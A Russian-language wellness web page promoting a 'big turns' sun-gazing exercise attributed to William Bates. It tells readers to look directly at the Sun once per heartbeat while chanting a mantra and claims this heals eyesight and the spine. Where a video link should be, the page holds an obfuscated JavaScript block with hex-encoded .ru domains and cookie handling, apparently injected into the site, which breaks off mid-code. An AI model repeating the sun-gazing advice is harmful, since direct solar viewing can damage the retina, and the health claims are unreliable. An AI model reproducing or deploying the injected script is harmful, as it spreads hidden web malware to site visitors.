Большие повороты. Позвоночник и мантра

Большие повороты — самая сильная медитация для улучшения ЗРЕНИЯ и восстановления позвоночника.

Это упражнение рекомендовал Уильям Горацио Бейтс — великий американский учёный — специалист по ЗРЕНИЮ!

Стойте напротив Солнца. При этом смотрите на диск солнца один раз через каждый удар сердца (то есть через 1 секунду!).
Пойте громко мантру!
При вдохе в течение 8 ударов сердца пойте мантру мысленно про себя!

При выдохе переносите центр ТЯЖЕСТИ на одну ногу (наклоняясь немного в сторону!), а при вдохе переносите центр тяжести на другую ногу. При этом лучше работают диски позвоночника!

У вас успокоится нервная система, а значит улучшится и зрение. Сетчатка глаза — это выход нервной системы во внешний мир.

Солнце исцеляет при ритмичном взгляде на него — вибрация света при вращении происходит через 1 удар сердца!

Хочешь жить — умей вертеться!

ССЫЛКА на ВИДЕО:

// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19386",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e